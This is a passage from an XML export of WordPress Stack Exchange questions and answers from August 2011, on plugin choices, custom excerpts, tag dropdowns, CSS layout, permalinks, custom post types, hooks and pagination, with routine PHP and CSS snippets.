  <row Id="26986" PostTypeId="2" ParentId="26980" CreationDate="2011-08-26T16:48:47.817" Score="0" ViewCount="" Body="&lt;p&gt;Why don't use &quot;Admin Menu Editor&quot; plugin to easy manager Admin-cp menu ??!&#xA;Take a look on it, i'm using it for my current project, i want to say it's &quot;perfect&quot; !!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/admin-menu-editor/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/admin-menu-editor/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it can help you.&#xA;Regards,&lt;/p&gt;&#xA;" OwnerUserId="8192" LastActivityDate="2011-08-26T16:48:47.817" />
  <row Id="26987" PostTypeId="2" ParentId="6961" CreationDate="2011-08-26T17:23:10.703" Score="0" ViewCount="" Body="&lt;p&gt;Here's my take on a &quot;trim_excerpt&quot; that takes the post object or a post ID as a parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously based on what's in core. Don't know why this (and get_the_author()) don't have non-loop equivalents.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;     * Generates an excerpt from the content, if needed.&#xA;     *&#xA;     * @param int|object $post_or_id can be the post ID, or the actual $post object itself&#xA;     * @param string $excerpt_more the text that is applied to the end of the excerpt if we algorithically snip it&#xA;     * @return string the snipped excerpt or the manual excerpt if it exists         &#xA;     */&#xA;    function zg_trim_excerpt($post_or_id, $excerpt_more = ' [...]') {&#xA;        if ( is_object( $post_or_id ) ) $postObj = $post_or_id;&#xA;        else $postObj = get_post($post_or_id);&#xA;&#xA;        $raw_excerpt = $text = $postObj-&amp;gt;post_excerpt;&#xA;        if ( '' == $text ) {&#xA;            $text = $postObj-&amp;gt;post_content;&#xA;&#xA;            $text = strip_shortcodes( $text );&#xA;&#xA;            $text = apply_filters('the_content', $text);&#xA;            $text = str_replace(']]&amp;gt;', ']]&amp;amp;gt;', $text);&#xA;            $text = strip_tags($text);&#xA;            $excerpt_length = apply_filters('excerpt_length', 55);&#xA;&#xA;            // don't automatically assume we will be using the global &quot;read more&quot; link provided by the theme&#xA;            // $excerpt_more = apply_filters('excerpt_more', ' ' . '[...]');&#xA;            $words = preg_split(&quot;/[\n\r\t ]+/&quot;, $text, $excerpt_length + 1, PREG_SPLIT_NO_EMPTY);&#xA;            if ( count($words) &amp;gt; $excerpt_length ) {&#xA;                array_pop($words);&#xA;                $text = implode(' ', $words);&#xA;                $text = $text . $excerpt_more;&#xA;            } else {&#xA;                $text = implode(' ', $words);&#xA;            }&#xA;        }&#xA;        return apply_filters('wp_trim_excerpt', $text, $raw_excerpt);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-08-26T17:23:10.703" />
  <row Id="26988" PostTypeId="1" CreationDate="2011-08-26T17:35:41.867" Score="0" ViewCount="51" Body="&lt;p&gt;I have been using this plugin so users can in a controlled manner upload their own posts, now it has a category dropdown and I wanted a set list for a tag dropdown where another user kindly helped me out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have now is that the tags show as the ID number instead of the name itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of the post: &lt;a href=&quot;http://wordpress.art-williams.com/countries/testing-dropdown-tags-21&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.art-williams.com/countries/testing-dropdown-tags-21&lt;/a&gt; &#xA;(it shows 120, experiences at the bottom when it should say &quot;Hotel for example)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a novice at wordpress but I can copy + paste :/ &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The add destination page is here if you need to see it: &lt;a href=&quot;http://wordpress.art-williams.com/add-destination&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.art-williams.com/add-destination&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is hugely appreciated! I just dont know how to fix that. Here is the code for the tags by the way.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- START TAGS --&amp;gt;&#xA;  &amp;lt;?php&#xA;    if($this-&amp;gt;ucan_options['uCan_Allow_Tags'])&#xA;    {&#xA;  ?&amp;gt;&#xA;      &amp;lt;label&amp;gt;&#xA;        &amp;lt;?php echo __('Your Experience', 'ucan-post'); ?&amp;gt;:&#xA;        &amp;lt;span class=&quot;small&quot;&amp;gt;&amp;lt;?php echo __('(What was your travels purpose?)', 'ucan-post'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;      &amp;lt;/label&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;?php &#xA;&#xA;&#xA;        wp_dropdown_categories(array('taxonomy'=&amp;gt; 'post_tag','exclude'=&amp;gt;6,129,'hide_empty' =&amp;gt; 0, 'name' =&amp;gt; 'ucan_submission_tags'));&#xA;        ?&amp;gt;&#xA;&#xA;&#xA;  &amp;lt;?php&#xA;    }&#xA;  ?&amp;gt;&#xA;  &amp;lt;!-- END TAGS  --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6999" LastActivityDate="2011-08-26T20:42:57.520" Title="Tags are displaying as an ID in posts" Tags="&lt;tags&gt;&lt;dropdown&gt;&lt;id&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="26989" PostTypeId="2" ParentId="15758" CreationDate="2011-08-26T17:44:50.340" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Have you tried The&lt;/strong&gt; &lt;a href=&quot;http://wordpress.org/extend/plugins/rich-text-tags/&quot; rel=&quot;nofollow&quot;&gt;Rich Text Tags&lt;/a&gt; &lt;strong&gt;Plugin?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It does exactly what you need.  &lt;/li&gt;&#xA;&lt;li&gt;Works with custom taxonomies.  &lt;/li&gt;&#xA;&lt;li&gt;Works well with images.  &lt;/li&gt;&#xA;&lt;li&gt;Includes the new WP internal linking.  &lt;/li&gt;&#xA;&lt;li&gt;It is regularly updated.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/AilFi.jpg&quot; alt=&quot;Rich Text Tags Screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2110" LastActivityDate="2011-08-26T17:44:50.340" CommentCount="1" />
  <row Id="26990" PostTypeId="2" ParentId="26976" CreationDate="2011-08-26T18:03:19.577" Score="2" ViewCount="" Body="&lt;p&gt;Read this article: &lt;a href=&quot;http://www.webmaster-source.com/2010/01/08/using-the-wordpress-uploader-in-your-plugin-or-theme/&quot; rel=&quot;nofollow&quot;&gt;Using the WordPress Uploader in Your Plugin or Theme&lt;/a&gt;. I've successfully used this method to integrate the WP uploader with my own plugin.&lt;/p&gt;&#xA;" OwnerUserId="7949" LastActivityDate="2011-08-26T18:03:19.577" CommentCount="1" />
  <row Id="26991" PostTypeId="2" ParentId="26988" CreationDate="2011-08-26T18:12:48.327" Score="0" ViewCount="" Body="&lt;p&gt;To fix the issue, you will need to further alter the plugin. If that works for you, read on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wp_dropdown_categories function you are using passes tags via their ID. The plugin requires the values to be in the form of slug. Here is a fix that converts the tag ID to slug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace the following line in ucan-post-class.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;line 369:   $ucan_new_post['tags_input'] = $this-&amp;gt;ucan_options['uCan_Default_Tags'].', '.stripslashes($_POST['ucan_submission_tags']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tag = get_term(stripslashes($_POST['ucan_submission_tags']), 'post_tag');&#xA;$ucan_new_post['tags_input'] = $this-&amp;gt;ucan_options['uCan_Default_Tags'].', ' . $tag-&amp;gt;slug;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Keep in mind, this will only allow users to add one tag for each post.&lt;/p&gt;&#xA;" OwnerUserId="3686" LastEditorUserId="3686" LastEditorDisplayName="" LastEditDate="2011-08-26T20:42:57.520" LastActivityDate="2011-08-26T20:42:57.520" CommentCount="7" />
  <row Id="26992" PostTypeId="2" ParentId="26949" CreationDate="2011-08-26T18:25:00.960" Score="0" ViewCount="" Body="&lt;p&gt;Otto has a really good blog post about the WordPress settings API. It does a lot of the work for you when it comes to saving values to the database. Here's the link:&#xA;&lt;a href=&quot;http://ottopress.com/2009/wordpress-settings-api-tutorial/&quot; rel=&quot;nofollow&quot;&gt;WordPress Settings API Tutorial&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3686" LastActivityDate="2011-08-26T18:25:00.960" />
  <row Id="26993" PostTypeId="1" AcceptedAnswerId="26996" CreationDate="2011-08-26T18:48:54.080" Score="0" ViewCount="30" Body="&lt;p&gt;This is a wordpress blog - www.bellated.us.lt (still in progress). You can find all posts (#main) on top of each other. What I want to do is to position three posts in a row, when they should start at the bottom, again three in a row and so on. Can anybody advice on how I can reach this goal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8196" LastActivityDate="2011-08-26T19:04:05.013" ClosedDate="2011-08-26T19:48:40.407" Title="Can anybody advice on how to position with css in my case?" Tags="&lt;wordpress.com&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="26994" PostTypeId="2" ParentId="26978" CreationDate="2011-08-26T18:53:57.917" Score="0" ViewCount="" Body="&lt;p&gt;Are you running wp on an IIS (win) server? Check this -&gt; &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks#Permalinks_without_mod_rewrite&quot; rel=&quot;nofollow&quot;&gt;Codex - Using Permalinks w/o mod_rewrite&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7890" LastActivityDate="2011-08-26T18:53:57.917" />
  <row Id="26995" PostTypeId="2" ParentId="26977" CreationDate="2011-08-26T19:02:28.747" Score="1" ViewCount="" Body="&lt;p&gt;I took a look at it on Github: &lt;a href=&quot;https://github.com/tuupola/jquery_lazyload&quot; rel=&quot;nofollow&quot;&gt;https://github.com/tuupola/jquery_lazyload&lt;/a&gt; - it appears that there was some sort of fix that was merged in that helps, though I'm not sure if it really fixes the issue. It appears to work for me as expected in FF6, though my connection is probably not slow enough to really notice much of a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a WP plugin for Lazy Load that looks like it's working just fine for people and has been updated fairly recently: &lt;a href=&quot;http://wordpress.org/extend/plugins/jquery-image-lazy-loading/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/jquery-image-lazy-loading/&lt;/a&gt;. I'd say it doesn't hurt to try it out and see if that works. Who knows, perhaps the developer just hasn't updated the warning in a while!&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-08-26T19:02:28.747" CommentCount="1" />
  <row Id="26996" PostTypeId="2" ParentId="26993" CreationDate="2011-08-26T19:02:32.710" Score="0" ViewCount="" Body="&lt;p&gt;Find in you style.css class &lt;code&gt;.post&lt;/code&gt; and paste following code below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.home .post {&#xA;   float: left;&#xA;   margin: 0 20px 40px 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-08-26T19:02:32.710" CommentCount="4" />
  <row Id="26997" PostTypeId="2" ParentId="26993" CreationDate="2011-08-26T19:04:05.013" Score="0" ViewCount="" Body="&lt;p&gt;Start adding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.home div.post {&#xA;float: left&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to your &lt;code&gt;styles.css&lt;/code&gt; and then adjust margins and padding to your likings. Although it would probably look better if your loop was generating an unordered list instead of a series of divs.&lt;/p&gt;&#xA;" OwnerUserId="7890" LastActivityDate="2011-08-26T19:04:05.013" CommentCount="2" />
  <row Id="26998" PostTypeId="2" ParentId="26974" CreationDate="2011-08-26T19:25:11.993" Score="0" ViewCount="" Body="&lt;p&gt;Try this plugin. It has features that you need:&#xA;&lt;a href=&quot;http://plugins.elliotcondon.com/advanced-custom-fields/&quot; rel=&quot;nofollow&quot;&gt;Advanced Custom Fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its free, But if you need repeater feature, you'll need to purchase the license key.&lt;/p&gt;&#xA;" OwnerUserId="8108" LastActivityDate="2011-08-26T19:25:11.993" CommentCount="1" />
  <row Id="26999" PostTypeId="2" ParentId="26960" CreationDate="2011-08-26T19:27:03.417" Score="0" ViewCount="" Body="&lt;p&gt;**edit (read the issue wrong)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your blog pages show most at setting needs to be set to at least 1 for the function to work.&lt;/p&gt;&#xA;" OwnerUserId="3686" LastActivityDate="2011-08-26T19:27:03.417" />
  <row Id="27000" PostTypeId="2" ParentId="26949" CreationDate="2011-08-26T19:27:23.317" Score="0" ViewCount="" Body="&lt;p&gt;If you like to, you can use this plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/option-tree/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/option-tree/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="8108" LastActivityDate="2011-08-26T19:27:23.317" />
  <row Id="27001" PostTypeId="1" CreationDate="2011-08-26T19:47:08.203" Score="0" ViewCount="49" Body="&lt;p&gt;Like so many others on the web, I've been trying to get a blog and a portfolio to play nicely together within the same website. Here is what I would like the urls to look like and some things that I have tried.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Desired Permalink Structure:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;reggi.com/portfolio&#xA;reggi.com/portfolio/$post_year/$post_title&#xA;reggi.com/portfolio/category/$category&#xA;reggi.com/portfolio/tag/$tag&#xA;reggi.com/blog&#xA;reggi.com/blog/$post_id/$post_title&#xA;reggi.com/blog/category/$category&#xA;reggi.com/blog/tag/$tag&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here are some things i've tried:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Two wordpress installs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Cons: Very large (doup of wp core files), multiple logins, separate themes&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Two wordpress installs using symbolic links on wp core files (to&#xA;minimize size)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Cons: multiple logins, separate themes&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Wordpress multisite&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Cons: force root, can't use &lt;code&gt;blog&lt;/code&gt;,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;One wordpress with &lt;code&gt;/%category%/&lt;/code&gt; in permalink&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Cons: slow, categories &amp;amp; tags leave out &lt;code&gt;blog&lt;/code&gt; &amp;amp; &lt;code&gt;portfolio&lt;/code&gt; in permalink (ex &lt;code&gt;reggi.com/cat/$category&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something that i've missed is there any other way to have two blogs on one site?&lt;/p&gt;&#xA;" OwnerUserId="5396" LastEditorUserId="5396" LastEditorDisplayName="" LastEditDate="2011-08-27T01:30:09.997" LastActivityDate="2011-08-27T07:02:42.823" Title="Blog &amp; Portfolio setup" Tags="&lt;multisite&gt;&lt;blog&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="27002" PostTypeId="2" ParentId="26976" CreationDate="2011-08-26T20:00:43.830" Score="0" ViewCount="" Body="&lt;p&gt;I've used: &lt;a href=&quot;http://www.deluxeblogtips.com/meta-box-script-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.deluxeblogtips.com/meta-box-script-for-wordpress/&lt;/a&gt; to create an upload images metabox....&lt;/p&gt;&#xA;" OwnerUserId="7401" LastActivityDate="2011-08-26T20:00:43.830" />
  <row Id="27003" PostTypeId="2" ParentId="26978" CreationDate="2011-08-26T20:07:52.830" Score="1" ViewCount="" Body="&lt;p&gt;When you enable permalinks in Wordpress, it creates an htaccess file in whatever directory it's located in. Since Wordpress is installed in the root directory, there will be an .htaccess file there that enabled permalinks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible that the rewrite rules that WordPress is producing are interfering with your install of ecommerce. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If ecommerce doesn't use an .htaccess file in the directory it's installed to, you can create a blank one in the ecommerce folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to add this to your .htaccess file &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /ecommerce_folder/&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will prevent whatever rewrite rules wordpress is using from affecting that folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to see this post:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/11299/how-to-avoid-wordpress-permalink-rules-to-inherit-in-a-sub-folder&quot;&gt;How to avoid wordpress permalink rules to inherit in a sub-folder&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8197" LastEditorUserId="8197" LastEditorDisplayName="" LastEditDate="2011-08-26T20:19:41.593" LastActivityDate="2011-08-26T20:19:41.593" />
  <row Id="27004" PostTypeId="2" ParentId="27001" CreationDate="2011-08-26T20:17:53.270" Score="1" ViewCount="" Body="&lt;p&gt;You can set up your blog &amp;amp; portfolio with one WordPress installation only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fist check this codex article: &lt;a href=&quot;http://codex.wordpress.org/Creating_a_Static_Front_Page&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Creating_a_Static_Front_Page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for portfolio it would be best if you'll create Custom Post Type, then all you portfolio stuff will have permalinks like &lt;code&gt;example.com/portfolio/some-great-project&lt;/code&gt;, but post permalinks would be the same - &lt;code&gt;example.com/2011/07/14/hello-world/&lt;/code&gt;, maybe with some WP Rewrite you can improve this too&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-08-26T20:17:53.270" CommentCount="1" />
  <row Id="27005" PostTypeId="1" CreationDate="2011-08-26T20:35:22.847" Score="0" ViewCount="27" Body="&lt;p&gt;How do I query a list of authors / users in Wordpress 3.0.1?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd upgrade but my theme doesn't support WP 3.2.1&lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2011-08-26T21:00:12.017" Title="How to do a WP_User_Query in Wordpress 3.0.1?" Tags="&lt;3.0&gt;&lt;list-authors&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="27006" PostTypeId="2" ParentId="27005" CreationDate="2011-08-26T20:54:07.030" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;WP_User_Query&lt;/code&gt; class with 3.1 and higher, there was &lt;code&gt;WP_User_Search&lt;/code&gt; class which is deprecated since 3.1, also see this article from Steve Taylor you may find it helpful - &lt;a href=&quot;http://sltaylor.co.uk/blog/get-wordpress-users-by-role/&quot; rel=&quot;nofollow&quot;&gt;http://sltaylor.co.uk/blog/get-wordpress-users-by-role/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditorDisplayName="" LastEditDate="2011-08-26T21:00:12.017" LastActivityDate="2011-08-26T21:00:12.017" />
  <row Id="27007" PostTypeId="1" AcceptedAnswerId="27008" CreationDate="2011-08-26T21:05:52.930" Score="0" ViewCount="27" Body="&lt;p&gt;I have been trying to write a reusable modular options class and I am stuck at this specific point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i define hooks within php classes?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Try 1 :&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class super_options {&#xA;     // ..........................&#xA;&#xA;       function render_options_page ()&#xA;       {&#xA;            //....................&#xA;&#xA;                $this-&amp;gt;top_page_hook();&#xA;            //....................&#xA;        } &#xA;&#xA;     // ..........................&#xA;&#xA;        function top_page_hook() {&#xA;             do_action( array( &amp;amp;$this, 'top_page_hook') );&#xA;        }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and when hooking to the above,&#xA;     add_action( array( &amp;amp;$plugs, 'top_page_hook' ), 'stuff_for_top_hook' );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Try 2 :&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Replacing the &lt;code&gt;$this-&amp;gt;top_page_hook();&lt;/code&gt;, with &lt;code&gt;do_action( 'top_page_hook' );&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;Calling &lt;code&gt;add_action( 'top_page_hook', 'stuff_for_top_hook' );&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Works, but the class loses its reusability.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So how do i take care of this? Please share your wisdom. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4182" LastActivityDate="2011-08-26T21:24:19.827" Title="Defining hooks within (php)classes?" Tags="&lt;hooks&gt;&lt;options&gt;" AnswerCount="1" />
  <row Id="27008" PostTypeId="2" ParentId="27007" CreationDate="2011-08-26T21:24:19.827" Score="2" ViewCount="" Body="&lt;p&gt;Hook can only be identified by string. So the only option to have dynamic hook is is use some variable(s) in its name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_action( $some_string_variable . '_top_page_hook' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Depending on what you are trying to do this can be something meaningful (like prefix, defined by configuration) or something randomly generated to be unique ID (not so common).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-26T21:24:19.827" CommentCount="2" />
  <row Id="27010" PostTypeId="2" ParentId="27001" CreationDate="2011-08-26T22:18:11.603" Score="0" ViewCount="" Body="&lt;p&gt;Mamaduka is on the right path! You will need &lt;em&gt;only&lt;/em&gt; one WP installation with the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Custom Home Page&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Post_Types&quot; rel=&quot;nofollow&quot;&gt;Custom portfolio post type&lt;/a&gt;: custom post types generate their own archive pages, which you can template!&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Taxonomies&quot; rel=&quot;nofollow&quot;&gt;Custom portfolio taxonomy&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7978" LastActivityDate="2011-08-26T22:18:11.603" CommentCount="2" />
  <row Id="27011" PostTypeId="1" CreationDate="2011-08-26T22:25:55.037" Score="0" ViewCount="24" Body="&lt;p&gt;I'm using 4 custom loops to display 3 posts on each one and every loop has its own pagination which works fine once the page loads up, the problem is that when I click on the 2nd page of the first loop it does show me the next 3 posts of that loop but it does the same for the other 3 loops, so if one of these loops has only 2 posts it won't show any if I click on the 2nd page of any of the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to page the pagination aware of what the loop is and only scroll through that loop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-08-26T22:41:57.807" Title="Pagination problem with multiple loops on the same page" Tags="&lt;wp-query&gt;&lt;pagination&gt;&lt;loop&gt;&lt;multiple&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="27012" PostTypeId="2" ParentId="27011" CreationDate="2011-08-26T22:41:57.807" Score="0" ViewCount="" Body="&lt;p&gt;you might wanna try wp_reset_query(); at the end of your loops&lt;/p&gt;&#xA;" OwnerUserId="2635" LastActivityDate="2011-08-26T22:41:57.807" CommentCount="1" />
  <row Id="27013" PostTypeId="1" CreationDate="2011-08-26T22:50:06.917" Score="0" ViewCount="28" Body="&lt;p&gt;I'm looking for a scalable, best-practice way to do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a menu to have a link to the homepage, a standard page, and a variable number of custom post type archives. Each archive must also have one standard sub-page and a category page with all the posts with a specific custom taxonomy. So the menu would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Home&#xA; About&#xA; Artist 1 Archive&#xA;      About Artist 1&#xA;      Custom Taxonomy&#xA; Artist 2 Archive&#xA;      About Artist 2&#xA;      Custom Taxonomy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And so on for all other artists. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I'm using WordPress's built-in archives for the custom post types, so they're not showing up in my menu--but I'm not adverse to just using a custom url (e.g., /artist-1/). What I'm having difficulty with is how to create the archives for the custom taxonomy. Is there a way I can set up a page template and somehow use &lt;code&gt;get_query_var()&lt;/code&gt; to get the post type? Or is there a more natural way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I also have to redirect the URL; the custom taxonomy's category will be &lt;code&gt;yes&lt;/code&gt;, but I need to change it to be accessed at &lt;code&gt;portfolio&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks very much for your help.&lt;/p&gt;&#xA;" OwnerUserId="6389" LastActivityDate="2011-08-27T11:11:28.040" Title="WordPress menu with custom taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;custom-menus&gt;&lt;menus&gt;" AnswerCount="1" />
  <row Id="27014" PostTypeId="1" CreationDate="2011-08-27T00:06:09.793" Score="0" ViewCount="39" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://wordpress.org/extend/plugins/sidebar-generator/&quot; rel=&quot;nofollow&quot;&gt;Sidebar Generator&lt;/a&gt; in all my themes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin works perfectly normal from &quot;plugins&quot; directory, but I want to embed it somehow to my themes, so it won't display on Installed Plugins list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've just copied sidebar_generator.php (the whole code is luckily in one file) to mytheme/plugins and included it in functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once (MY_PLUGINS . '/sidebar_generator.php');  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, it worked for all other plugins, but not for this one! This way when I click on &quot;Sidebars&quot; it refreshes the actual page instead of loading plugin's admin_page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why is it happening and how to make it working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the problem lays here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_submenu_page('themes.php', 'Sidebars', 'Sidebars', 'manage_options', __FILE__, array('sidebar_generator','admin_page'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Chaning &lt;strong&gt;FILE&lt;/strong&gt; to something else helps, but I'm not sure how to point this submenu link at the actual plugins admin page.&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-08-27T01:15:47.433" Title="__FILE__ in WordPress plugins" Tags="&lt;plugins&gt;" AnswerCount="1" />
  <row Id="27015" PostTypeId="1" AcceptedAnswerId="27017" CreationDate="2011-08-27T00:10:50.693" Score="0" ViewCount="30" Body="&lt;p&gt;I created a custom post type which I'll use as landing page for PPC. Now on that custom post type I would like to remove all the filters which are adding the social media buttons for example. I tried already with the following code but that did also remove the shortcode filter which I would like to keep on that custom post type. Here's the code I used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function landingpage_remove_plugin_filters() {&#xA;&#xA;    global $wp_filter;&#xA;    global $wp;&#xA;    if ($wp-&amp;gt;query_vars[&quot;post_type&quot;] == 'landingpage') {&#xA;    remove_all_filters('the_content', 'plugin_filters');&#xA;    }&#xA;    }   &#xA;&#xA;    add_action('wp','landingpage_remove_plugin_filters');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what I need to change in order to keep the shortcode filters on that custom post type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for your efforts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Daniel&lt;/p&gt;&#xA;" OwnerUserId="8199" LastActivityDate="2011-08-27T07:20:39.980" Title="How can I remove filters from custom post types?" 